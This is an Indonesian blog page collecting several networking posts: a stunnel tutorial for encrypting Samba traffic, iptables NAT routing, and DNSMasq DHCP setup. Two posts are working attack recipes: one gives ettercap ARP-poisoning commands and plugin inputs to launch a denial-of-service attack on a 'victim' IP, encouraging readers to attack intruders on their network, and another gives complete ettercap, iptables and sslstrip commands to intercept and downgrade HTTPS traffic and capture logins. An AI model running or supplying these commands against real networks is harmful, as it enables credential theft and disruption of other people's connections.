Mengamankan komunikasi data dengan enkripsi menggunakan stunnel

<b>Komunikasi Data</b> <br/> Komunikasi data adalah proses pengiriman/penerimaan data atau informasi antara dua atau lebih device, Tujuan dari komunikasi data sebagai pertukaran informasi maupun sumber daya dari berbagai sistem operasi,bahasa,media transmisi,serta lokasi. Kita ambil contoh simple pada konektivitas Local Area Network (LAN), dimana dengan jaringan LAN kita bisa saling berbagi sumber daya, baik itu layanan, bertukar data, menggunakan printer bersama, dll.<br/><br/> <b>Protokol</b> <br/> Protokol adalah sebuah aturan yang mengatur dan mendefinisikan terjadinya hubungan komunikasi dan perpindahan data antar dua atau lebih perangkat komputasi elektronik dalam sebuah jaringan komputer. Aturan disini berkaitan dengan metode akses,sinyal,autentikasi,deteksi error,kemampuan perbaikan error, dll. Jadi secara umum fungsi protokol adalah menghubungkan pengirim dan penerima dalam berkomunikasi serta bertukar informasi dengan menggunakan bahasa yang sama.<br/><br/> <b>Enkripsi & Dekripsi</b> <br/> Enkripsi adalah sebuah usaha pengacakan data/informasi dari bentuk text asli (plaintext) ke dalam bentuk yang sulit untuk dibaca (chipertext) dengan menggunakan algoritma pengacakan (Contoh: rot13,md5,Caesar Cipher,DES,RSA). Sedangkan Dekripsi adalah proses kebalikan dari Enkripsi. Secara umum metode algoritma enkripsi terbagi menjadi 2 jenis, yaitu symmetric & asymmetric.<br/><br/> <b>Symmetric Enkripsi</b> <br/> Proses enkripsi dan dekripsi menggunakan kunci key yang sama.<br/> <pre class="brush:bash"> +------------+ +----------+ +-------------+ | Plain Text | --> | Enkripsi | --> | Chiper Text | +------------+ +----------+ +-------------+ ^ / | | key ()-> | | \ | | +----------+ | +------------- | Dekripsi | ------------+ +----------+ </pre> Contoh: DES,AES,Blowfish,RC4,dll.<br/><br/> <b>Asymmetric Enkripsi</b> <br/> Proses enkripsi dan dekripsi menggunakan kunci yang berbeda, Satu kunci untuk enkripsi (Public Key) dan satu kunci lagi untuk dekripsi (Private Key).<br/> <pre class="brush:bash"> +------------+ +----------+ +-------------+ | Plain Text | --> | Enkripsi | --> | Chiper Text | +------------+ +----------+ +-------------+ ^ / | | key 1 ()-> | | | | key 2 ()-> | | \ | | +----------+ | +------------- | Dekripsi | ------------+ +----------+ </pre> Contoh: RSA,DSS,dll. <br/> Protokol jaringan yang menggunakan metode asymmetric enksripsi di antaranya GPG,SSH,SSL,TLS, dll.<br/> <br/> <b>Stunnel</b> <br/> Stunnel adalah sebuah program berbasis client-server yang menyediakan enkripsi untuk keamanan komunikasi data menggunakan protokol SSL/TLS, Stunnel berjalan di berbagai sistem operasi umum seperti Unix,Linux,BSD,Windows,dll. Tujuan aplikasi ini adalah membungkus protokol komunikasi yang di kategorikan tidak aman, tidak aman disini maksudnya adalah tidak terenkripsi (Misalnya: HTTP,IMAP,POP3,SMTP,Samba,MYSQL,Telnet) ke dalam koneksi yang lebih aman seperti Secure Socket Layer (SSL) atau Transport Layer Security (TLS) agar data yang dikirim tidak bisa di sadap (mengamankan data dari eavesdropping atau sniffing attack) dan kerahasian data tetap terjaga tentunya. :D<br/> Berikut diagram cara kerja dari stunnel: <pre class="brush:bash"> -------------- -------------- STUNNEL SERVER STUNNEL CLIENT -------------- -------------- [ Application Server ] [ Application Client ] | | | | [ Application Service Port ][ Connecting Local Port Service | (LPORT) ] | | | | [ Stunnel Server Service Port ] Connect to Stunnel Server | Service Port (RPORT) ] | | | | +--****************************--+ ENCRYPTED PROTOCOL: SSLv2, SSLv3, TLSv1 </pre> Jika di simpulkan aplikasi akan berada di belakang service port dari stunnel, baik dari sisi client ataupun server.<br/><br/> <b>Tutorial</b> <br/> Dalam tutorial ini saya mengamankan komunikasi data untuk protokol samba (Server menggunakan Slackware). So jangan lupa jalankan dulu server/daemon samba.<br/> Download <a href="http://mirrors.zerg.biz/stunnel/stunnel-4.53.tar.gz" target="blank">http://mirrors.zerg.biz/stunnel/stunnel-4.53.tar.gz</a><br/> Install <pre class="brush:bash"> $ tar zxf stunnel-4.XX.tar.gz $ cd stunnel-4.XX $ ./configure $ make $ make install (as root) </pre> Buat SSL sertifikat & key (Khusus Server untuk client optional) <pre class="brush:bash"> $ openssl req -new -nodes -x509 -out /etc/ssl/certs/stunnel.pem -keyout /etc/ssl/certs/stunnel.pem </pre> Config File:<br/> #### Server #### <pre class="brush:bash"> $ nano /etc/stunnel/stunnel.conf cert = /etc/ssl/certs/stunnel.pem [samba] accept = 1399 connect = 139 $ stunnel $ netstat -an | grep 1399 </pre> #### Client #### <pre class="brush:bash"> $ nano /etc/stunnel/stunnel.conf client = yes [samba] accept = localhost:139 connect = {IP Server stunnel}:1399 $ stunnel $ netstat -an | grep 139 </pre> Uji coba akses samba server <pre class="brush:bash"> $ smbclient -L localhost $ smbclient -U <username> "//localhost/share-name" </pre> Untuk membuktikan enkripsi paket silakan capture menggunakan tcpdump atau wireshark. <br/> Atau silakan saja sniff dengan teknik Monkey in The Middle.:D <br/><br/> <b>Kesimpulan</b> <br/> Dengan metode enkripsi komunikasi data menjadi lebih aman, Pada tutorial diatas merupakan contoh implementasi untuk mengamankan protokol samba, anda bisa mengamankan protokol lainnya yang dianggap belum aman. <br/><br/> <b>Thanks To</b> <br/> ALLAH SWT <br/><br/> RNDC Bekasi<br/> Maxindo<br/> SJ, Dru, d.m0nk3y, mad17, p0nkdbyt3, dan semua teman2 di RNDC<br/> <b>Referensi </b><br/> <a href="http://rndc.or.id/wiki/index.php/Mengamankan_komunikasi_data_dengan_enkripsi_menggunakan_stunnel" target="balnk">rndc.or.id/wiki: Mengamankan komunikasi data dengan enkripsi menggunakan stunnel</a><br/> <a href="https://stunnel.org/?page=index" target="blank">Stunnel: stunnel - multiplatform SSL tunneling proxy</a><br/> <a href="http://en.wikipedia.org/wiki/Encryption" target="blank">Wikipedia: Encryption </a><br/> <a href="http://id.wikipedia.org/wiki/Transport_Layer_Security" target="blank">Wikipedia: Transport Layer Security </a><br/> <a href="http://en.wikipedia.org/wiki/Public-key_cryptography" target="blank">Wikipedia: Public-key cryptography</a><br/> <a href="http://www.openssl.org/" target="blank">Openssl: Welcome to the OpenSSL Project </a><br/> <a href="http://www.tldp.org/HOWTO/SSL-Certificates-HOWTO/" target="blank">SSL certificates HOWTO</a>

Komunikasi Data Komunikasi data adalah proses pengiriman/penerimaan data atau informasi antara dua atau lebih device, Tujuan dari komunika...

Read more »

Routing Iptables Linux

<b>Skenario Jaringan</b><br/> PC1 terkoneksi internet (wlan0) dan PC2 (eth0)<br/> PC2 terkoneksi dengan PC1 (eth0)<br/> <b>Konfigurasi Router</b><br/> Setting PC1 : <pre class="brush:bash"> its:~# ifconfig eth0 up its:~# ifconfig eth0 192.168.1.1/24 its:~# echo 1 > /proc/sys/net/ipv4/ip_forward its:~# echo "nameserver 8.8.8.8" > /etc/resolv.conf its:~# iptables -t nat -A POSTROUTING -o wlan0 -s 192.168.1.0/24 -j MASQUERADE </pre> <b>Konfigurasi Client</b><br/> Setting PC2 jika menggunkana linux: <pre class="brush:bash"> its:~# ifconfig eth0 up its:~# ifconfig eth0 192.168.1.3/24 its:~# route add default gw 192.168.1.1 its:~# echo "nameserver 8.8.8.8" > /etc/resolv.conf </pre> Setting PC2 jika menggunkanan windows: <pre class="brush:bash"> 1. open network and sharing center 2. change adapter settings 3. local area connections, properties 4. TCP/IPv4 5. use the following ip address ip address : 192.168.1.3 subnet mask : 255.255.255.0 default gateway: 192.168.1.1 6. use the following dns server addresses prefered dns server: 8.8.8.8 </pre> ket: untuk melakukkan routing minimal memiliki 2 interface card<br/>

Skenario Jaringan PC1 terkoneksi internet (wlan0) dan PC2 (eth0) PC2 terkoneksi dengan PC1 (eth0) Konfigurasi Router Setting PC1 : its:...

Read more »

DOS Attack Dengan Ettercap

Jika teman-teman kesal dengan orang yang masuk ke jaringan anda tanpa izin, mungkin teman-teman bisa memberi pelajaran sedikit dengan menyerang mereka :D serangan yang dilakukan pada pembahasan ini, yaitu menggunakan ettercap yang memiliki fitur untuk melakukan sniffing seperti MITM "Man In The Middle" dan DOS "Denial Of Service" <br/> untuk mengetahui lebih lanjut penggunaan ettercap searching di google masbro :D <br/> disini saya akan memberi tips kecil tentang dos_attack, berikut implementasinya <br/> <pre class="brush:bash"> ~# ettercap -i wlan0 -T -M ARP // // </pre> perintah diatas akan melakukan unified sniffing pada semua jaringan lokal<br/> tekan p untuk meload plugin dan ketik dos_attack</br> <pre class="brush:bash"> Insert victim IP : 192.168.1.2 Insert unusued IP : 192.168.5.1 </pre> ket: masukkan IP korban pada Insert victim IP dan Insert unusued IP, fake IP atau IP palsu terserah teman-teman :D

Jika teman-teman kesal dengan orang yang masuk ke jaringan anda tanpa izin, mungkin teman-teman bisa memberi pelajaran sedikit dengan menyer...

Read more »

MITM dengan sslstrip

apa tu kang MITM (Man In The Middle) dan sslstrip :bingungs kalo baru denger langsung aja tancep gas keliling-keliling di istana paman <a href="http://www.google.com/" target="blank">google</a> :D kalo uda paham langsung aja dipertajam nih kang <pre class="brush:bash"> ~# kate /etc/etter.conf </pre> <blockquote># if you use iptables:<br/> #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"<br/> #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"</blockquote> hapus uncomment (<b>#</b>) baris kedua sama baris keempat aja<br/> lanjutkan perjuangan <pre class="brush:bash"> ~# echo 1 > /proc/sys/net/ipv4/ip_forward ~# iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 10000 </pre> aktifin sslstripnya <pre class="brush:bash"> ~# sslstrip -a -f -k </pre> penutupan dan menunggu sambil memancing ikan :D <pre class="brush:bash"> ~# ettercap -i wlan0 -Tq -M ARP:REMOTE -P autoadd /192.168.7.1/ // </pre> ket: ganti 192.168.7.1 dengan ip gateway<br/> nih ane nyoba sniff dirumah sendiri :D jreeennggg dapet ikan :p <br/> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWPC6wbwmQoaN4OMaNCfNoIdnAvV1FFCxGXK-vrMi-jFsveXj1qbaKQKwYa3ngEG7c5qxkzPqqa5vSDUde1-V-QfexOqtq8cTqCZfswfP10-g1XI6w8baVuJqAmpl7NmdNwF_hwFx5IZFy/s1600/tessniff.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWPC6wbwmQoaN4OMaNCfNoIdnAvV1FFCxGXK-vrMi-jFsveXj1qbaKQKwYa3ngEG7c5qxkzPqqa5vSDUde1-V-QfexOqtq8cTqCZfswfP10-g1XI6w8baVuJqAmpl7NmdNwF_hwFx5IZFy/s320/tessniff.png" /></a>

apa tu kang MITM (Man In The Middle) dan sslstrip :bingungs kalo baru denger langsung aja tancep gas keliling-keliling di istana paman googl...

Read more »

Konfigurasi DNSMasq di Slackware

Untuk membangun sebuah server DHCP dapat menggunakan paket dhcp (termasuk dengan Slackware) atau dapat melakukannya dengan cara yang lebih mudah dengan menggunakan dnsmasq pada Slackware.<br/> Dynamic Host Configuration Protocol (DHCP) adalah protokol jaringan yang digunakan untuk mengkonfigurasi perangkat jaringan sehingga dapat berkomunikasi pada jaringan IP. Seorang client DHCP menggunakan protokol DHCP untuk memperoleh informasi konfigurasi, seperti alamat IP, rute default dan satu atau lebih alamat DNS server dari DHCP server.<br/> Jika belum pernah mencobanya, mungkin anda bisa mengikuti langkah-langkah berikut<br/><br/> 1. download paket resmi dnsmasq slackware dari <a href="http://docs.slackware.com/slackware:slackpkg" target="blank">http://docs.slackware.com/</a> dan install <pre class="brush:bash"> ~$ wget http://sourceforge.net/projects/slackpkg/files/latest/download ~# installpkg installpkg slackpkg-2.81-noarch-2.tgz </pre> 2. mengaktifkan DNSmasq saat boot <pre class="brush:bash"> ~# chmod 755 /etc/rc.d/rc.dnsmasq </pre> Edit file berikut di /etc/dnsmasq.conf <pre class="brush:bash"> ~# nano /etc/dnsmasq.conf </pre> ganti baris berikut <pre class="brush:bash"> #dhcp-range=192.168.0.50,192.168.0.150,255.255.255.0,12h </pre> dengan baris berikut <pre class="brush:bash"> dhcp-range=ip_pool,ip_pool,12h </pre> contoh <pre class="brush:bash"> dhcp-range=192.168.1.1,192.168.1.100,12h </pre> kemudian ganti baris berikut dengan default gateway anda <pre class="brush:bash"> #dhcp-option=3,1.2.3.4 </pre> <pre class="brush:bash"> dhcp-option=3,gateway_anda </pre> start/restart DNSMasq <pre class="brush:bash"> # /etc/rc.d/rc.dnsmasq restart </pre> Selamat DHCP Server dengan DNSmasq teman-teman telah aktif <br/> catatan :<br/> Untuk menetapkan alamat IP berdasarkan perangkat alamat MAC, edit file / etc / dnsmasq.conf dan tambahkan untuk setiap perangkat (gunakan alamat MAC yang benar dan IP tertentu saja) :D<br/> contoh <pre class="brush:bash"> dhcp-host=11:22:33:44:55:66,192.168.1.61 </pre> referensi:<br/> <a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol</a><br/> <a href="http://docs.slackware.com/howtos:network_services:dhcp_server_via_dnsmasq">http://docs.slackware.com/howtos:network_services_dhcp_server_via_dnsmasq</a>

Untuk membangun sebuah server DHCP dapat menggunakan paket dhcp (termasuk dengan Slackware) atau dapat melakukannya dengan cara yang lebih m...

Read more »